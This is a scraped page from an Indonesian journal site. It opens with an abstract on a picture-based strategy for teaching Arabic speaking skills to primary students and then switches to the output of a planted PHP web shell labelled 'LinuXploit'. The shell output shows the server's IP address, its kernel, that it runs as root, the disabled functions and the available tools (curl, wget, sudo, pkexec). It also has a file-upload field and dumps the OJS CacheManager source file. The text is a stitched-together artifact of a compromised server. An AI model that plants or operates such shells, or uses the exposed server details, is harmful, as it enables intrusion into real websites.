Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 18.223.213.76 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/cache/ |
Upload File : |
<?php
/**
* @file classes/cache/CacheManager.inc.php
*
* Copyright (c) 2014-2019 Simon Fraser University
* Copyright (c) 2000-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @ingroup cache
* @see GenericCache
*
* @brief Provides cache management functions.
*
*/
import('lib.pkp.classes.cache.FileCache');
define('CACHE_TYPE_FILE', 1);
define('CACHE_TYPE_OBJECT', 2);
class CacheManager {
/**
* Get the static instance of the cache manager.
* @return object CacheManager
*/
static function getManager() {
$manager =& Registry::get('cacheManager', true, null);
if ($manager === null) {
$manager = new CacheManager();
}
return $manager;
}
/**
* Get a file cache.
* @param $context string
* @param $cacheId string
* @param $fallback callback
* @return object FileCache
*/
function getFileCache($context, $cacheId, $fallback) {
return new FileCache(
$context, $cacheId, $fallback,
$this->getFileCachePath()
);
}
function getObjectCache($context, $cacheId, $fallback) {
return $this->getCache($context, $cacheId, $fallback, CACHE_TYPE_OBJECT);
}
function getCacheImplementation($type) {
switch ($type) {
case CACHE_TYPE_FILE: return 'file';
case CACHE_TYPE_OBJECT: return Config::getVar('cache', 'object_cache');
default: return null;
}
}
/**
* Get a cache.
* @param $context string
* @param $cacheId string
* @param $fallback callback
* @param $type string Type of cache: CACHE_TYPE_...
* @return object Cache
*/
function getCache($context, $cacheId, $fallback, $type = CACHE_TYPE_FILE) {
switch ($this->getCacheImplementation($type)) {
case 'xcache':
import('lib.pkp.classes.cache.XCacheCache');
$cache = new XCacheCache(
$context, $cacheId, $fallback
);
break;
case 'apc':
import('lib.pkp.classes.cache.APCCache');
$cache = new APCCache(
$context, $cacheId, $fallback
);
break;
case 'memcache':
import('lib.pkp.classes.cache.MemcacheCache');
$cache = new MemcacheCache(
$context, $cacheId, $fallback,
Config::getVar('cache','memcache_hostname'),
Config::getVar('cache','memcache_port')
);
break;
case '': // Provide a default if not specified
case 'file':
$cache = $this->getFileCache($context, $cacheId, $fallback);
break;
case 'none':
import('lib.pkp.classes.cache.GenericCache');
$cache = new GenericCache(
$context, $cacheId, $fallback
);
break;
default:
die ("Unknown cache type \"$type\"!\n");
break;
}
return $cache;
}
/**
* Get the path in which file caches will be stored.
* @return string The full path to the file cache directory
*/
static function getFileCachePath() {
return Core::getBaseDir() . DIRECTORY_SEPARATOR . 'cache';
}
/**
* Flush an entire context, if specified, or
* the whole cache.
* @param $context string The context to flush, if only one is to be flushed
* @param $type string The type of cache to flush
*/
function flush($context = null, $type = CACHE_TYPE_FILE) {
$cacheImplementation = $this->getCacheImplementation($type);
switch ($cacheImplementation) {
case 'xcache':
case 'apc':
case 'memcache':
$junkCache = $this->getCache($context, null, null);
$junkCache->flush();
break;
case 'file':
$filePath = $this->getFileCachePath();
$files = glob($filePath . DIRECTORY_SEPARATOR . 'fc-' . (isset($context)?$context . '-':'') . '*.php');
foreach ($files as $file) {
@unlink ($file);
}
break;
case '':
case 'none':
// Nothing necessary.
break;
default:
die ("Unknown cache type \"$cacheType\"!\n");
}
}
}
Youez - 2016 - github.com/yon3zu
LinuXploit